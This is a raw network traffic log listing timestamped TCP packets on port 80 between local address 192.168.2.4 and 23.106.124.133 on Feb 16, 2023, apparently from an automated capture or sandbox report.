Feb 16, 2023 10:01:23.168530941 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.168545961 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.168566942 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.168597937 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.168612003 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.168628931 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.168663979 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.168677092 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.168697119 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.168730021 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.168762922 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.168786049 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.168795109 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.168823004 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.168828964 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.168864012 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.168894053 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.168910027 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.168925047 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.168946981 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.168956041 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.168991089 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.169020891 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.169032097 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.169050932 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.169069052 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.169084072 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.169115067 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.169146061 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.169176102 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.169188023 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.169208050 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.169239998 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.169250965 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.169267893 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.169295073 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.169322014 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.169347048 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.169347048 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.169359922 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.169380903 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.169410944 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.169425964 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.169441938 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.169472933 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.169481993 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.169503927 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.169534922 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.169544935 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.169569969 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.169600964 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.169608116 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.169634104 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.169665098 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.169676065 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.169696093 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.169743061 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.197222948 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.197268009 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.197295904 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.197321892 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.197350979 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.197355032 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.197379112 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.197401047 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.197407007 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.197436094 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.197441101 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.197463989 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.197491884 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.197493076 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.197520018 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.197546959 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.197549105 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.197578907 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.197606087 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.197616100 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.197632074 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.197662115 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.197731972 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.197758913 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.197782040 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.197791100 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.197835922 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.205288887 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.237759113 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.237790108 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.237906933 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.240318060 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.240339041 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.240358114 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.240437031 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.344455004 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.344540119 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.344599962 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.344649076 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.344657898 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.344696045 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.344703913 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.344747066 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.344804049 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.344820976 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.344849110 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.344896078 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.344908953 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.344942093 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.344988108 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.345000029 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.345032930 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.345079899 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.345136881 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.345143080 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.345191956 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.345202923 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.345237017 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.345283985 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.345297098 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.345330000 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.345375061 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.345428944 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.345443010 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.345473051 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.345480919 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.345529079 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.345575094 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.345602989 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.345624924 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.345670938 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.345670938 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.345717907 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.345762968 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.345768929 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.345808983 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.345854044 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.345860958 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.345904112 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.345949888 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.345951080 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.345997095 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.346040964 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.346048117 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.346087933 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.346132994 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.346132994 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.346179962 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.346225023 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.346251965 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.346271038 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.346317053 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.346318007 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.346364021 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.346410036 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.346436024 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.346455097 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.346501112 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.346508980 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.346546888 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.346591949 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.346595049 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.346647024 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.346709967 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.346719027 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.346771002 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.346817017 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.346883059 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.351982117 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.372054100 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.372085094 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.372102976 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.372133970 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.372174025 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.372201920 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.379810095 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.379873991 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.379894018 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.379914045 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.379965067 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.380038977 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.412358999 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.466226101 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.526611090 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.526654959 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.526683092 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.526724100 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.526751995 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.526756048 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.526777983 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.526804924 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.526812077 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.526832104 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.526859045 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.526863098 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.526885986 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.526906967 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.526910067 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.526935101 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.526962042 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.526963949 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.526985884 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.527000904 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.527013063 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.527036905 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.527054071 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.527077913 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.527102947 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.527126074 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.527128935 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.527154922 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.527165890 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.527179956 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.527205944 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.527228117 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.527230024 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.527256012 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.527273893 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.527282000 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.527308941 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.527333021 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.527340889 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.527358055 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.527384043 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.527388096 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.527406931 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.527415037 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.527440071 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.527463913 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.527471066 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.527489901 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.527513981 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.527518034 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.527539015 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.527565002 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.527570963 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.527591944 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.527615070 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.527622938 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.527641058 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.527664900 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.527668953 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.527692080 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.527717113 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.527724028 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.527741909 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.527765989 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.527789116 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.527810097 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.527810097 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.527813911 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.527839899 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.527854919 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.527864933 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.527890921 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.527915955 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.527925968 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.527941942 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.527961969 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.527966976 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.527993917 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.528017044 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.528017044 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.528044939 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.528065920 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.528068066 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.528094053 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.528119087 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.528122902 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.528142929 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.528167009 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.528167009 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.528193951 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.528217077 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.528239965 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.528249979 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.528264046 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.528287888 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.528289080 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.528311968 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.546814919 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.546852112 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.546874046 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.546895981 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.546964884 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.547019005 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.554629087 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.554672003 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.554724932 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.554730892 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.554753065 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.554797888 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.606967926 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.640923977 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.684988976 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.703538895 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.703579903 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.703602076 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.703620911 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.703641891 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.703671932 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.703727007 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.703782082 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.703891039 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.703943014 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.704022884 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.704041958 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.704061031 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.704078913 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.704092979 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.704099894 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.704119921 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.704138041 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.704153061 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.704157114 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.704181910 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.704194069 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.704201937 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.704221010 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.704240084 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.704251051 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.704251051 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.704261065 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.704281092 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.704298973 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.704308987 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.704319000 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.704339981 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.704341888 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.704351902 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.704354048 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.704374075 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.704392910 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.704411030 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.704421043 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.704430103 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.704437971 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.704451084 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.704471111 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.704485893 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:23.704489946 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.704509020 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:23.704519033 CET	49698	80	192.168.2.4	23.106.124.133
